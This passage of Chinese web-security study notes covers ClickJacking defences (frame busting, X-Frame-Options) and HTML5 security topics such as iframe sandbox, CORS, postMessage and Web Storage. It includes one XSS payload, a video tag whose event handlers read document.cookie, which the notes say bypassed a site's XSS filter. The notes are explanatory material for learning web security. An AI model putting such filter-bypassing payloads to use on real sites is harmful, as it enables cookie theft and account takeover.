将一个不可见的iframe覆盖到当前网页上,就可以劫持用户的触屏操作。

针对视觉效果的攻击可以被利用进行钓鱼和欺诈。

防御ClickJacking

针对传统的ClickJacking,一般是通过禁止跨域的iframe来防范。

frame busting

通过可以写一段JavaScript代码,以禁止iframe的嵌套。这种方法叫作frame busting。比如

1
2
3
if (top.location != location) {
top.location = self.location;
}

当然,还要很多很多frame busting的写法,这里就不一一罗列了。

frame busting有一些缺陷,由于它是用JavaScript写的,控制能力并不是特别强,因此有很多方法可以绕过它。此外像HTML5的sandbox属性、IE中iframe的security属性等,都可以限制iframe页面中的JavaScript脚本执行,从而使frame busting失效。

X-Frame-Options

X-Frame-Options可以说是为了解决ClickJacking而生的,它有三个可选的值:

1
2
3
DENY 拒绝当前页面加载任何frame页面
SAMEORIGIN frame页面的地址只能为同源域名下的页面
ALLOW-FROM origin 定义允许frame加载的页面地址

除了X-Frame-Options之外,Firefox的“Content Security Policy”以及Firefox的NoScript扩展也能有效防御ClickJacking。这些方案为我们提供了更多的选择。

小结

ClickJacking主要被利用在钓鱼、欺诈和广告作弊等方面。相对于XSS与CSRF来说,因为需要诱导用户与页面产生交互行为,因此实施攻击的成本更高,在网络犯罪中比较少见。

HTML5安全

HTML5带来了新的功能,也带来了新的安全挑战。

HTML5新标签

一些XSS Filter如果建立了一个黑名单的话,可能覆盖不到HTML5新增的标签和功能。

如video可以远程加载一段视频,audio标签也类似。

1
<video src="http://file.ogg" onloadedmetadata="alert(document.cookie);"  ondurationchanged="alert(/xss2)" ontimeupdate="alert(/xss1/);"></video>

可以成功绕过百度空间的XSS Filter。

iframe的sandbox

在HTML5中,专门为<iframe>定义了一个新的属性,叫sandbox。使用sandbox这个属性,<iframe>标签加载的内容将被视为一个独立的”源”,其中的脚本将被禁止执行,表单被禁止提交,插件被禁止加载,指向其他浏览对象的链接也会被禁止。

sandbox属性可以通过参数来支持更精确的控制。有以下几个值可以选择:

1.allow-same-origin: 允许同源访问
2.allow-top-navigation: 允许访问顶层窗口
3.allow-forms: 允许提交表单
4.allow-script: 允许执行脚本

有的行为即使设置了allow-scripts,也是不允许的,比如”弹出窗口“

1
<iframe sandbox="allow-same-origin allow-forms"></iframe>

毫无疑问,iframe的sandox属性将极大地增强应用使用iframe的安全性。

在HTML5中为<a>标签和<area>标签定义了一个新的Link Types: noreferrer。

浏览器在请求该标签指定的地址时将不再发送Referer。

1
<a href="xxx" rel="noreferrer">test</a>

这种设计是出于保护敏感信息和隐私的考虑。

Canvas的妙用

canvas可以让javascript在页面中直接操作图片对象,也可以直接操作像素。

所以完全可以用canvas实现简单的验证码破解功能,在浏览器中实现在线破解,这大大降低了攻击门槛。

其他安全问题

Cross-Origin Resource Sharing

W3C委员制定了一个新标准来解决跨域访问问题。

假设从http://www.a.com/test.html发起一个跨域的XMLHttpRequest请求,请求的地址为:http://www.b.com/test.php

如果服务器www.b.com返回一个HTTP Header:

1
Access-Control-Allow-Origin: http://www.a.conm

这个跨域请求就会被通过。

在这个过程中,http://www.a.com/test.html发起的请求浏览器还会自动带上一个Origin Header

1
Origin: http://www.a.com

它可以用于防范CSRF攻击。

当然对于这个标准,还有很多http header可以用于更精确的控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Syntax

response header:

Access-Control-Allow-Origin
Access-Control-Max-Age
Access-Control-Allow-Credentials
Access-Control-Allow-Methods
Access-Control-Allow-Headers

request header:

Origin
Access-Control-Request-Method
Access-Control-Request-Headers

postMessage——跨窗口传递消息

postMessage允许每一个window(包括当前窗口、弹出窗口、iframes等)对象往其他的窗口发送文本消息,从而实现跨窗口的消息传递。这个功能是不受同源策略限制的。

所以在使用postMessage时,有两个安全问题需要注意。

1.在必要时,可以在接收窗口验证Domain,甚至是URL,以防止来自非法页面的消息。

2.如果是将消息写入innerHTML,则可能导致DOM based XSS的产生。根据”Secure By Default“原则,应该对消息进行安全检查。

Web Storage

过去浏览器通用化的存储信息的方法只有Cookie,Cookie主要用于保存登录凭证和少量信息,其最大长度的限制决定了不可能存储太多信息,而Web Storage可以。

Web Storage分为Session Storage和Local Storage。Session Storage关闭浏览器会失效,而Local Storage则会一直存在。它就向一个非关系型数据库,由Key-Value对组成,使用js方法window.sessionStorage.setItem(key, value)和window.sessionStorage.getItem(key)可以存取值。

Web Storage也受同源策略的约束,每个域所拥有的信息只会保存在自己的域下。

Web Storage的强大功能也为XSS Payload大开方便之门。攻击者有可能将恶意代码保存在Web Storage中,从而实现跨页面攻击。

0%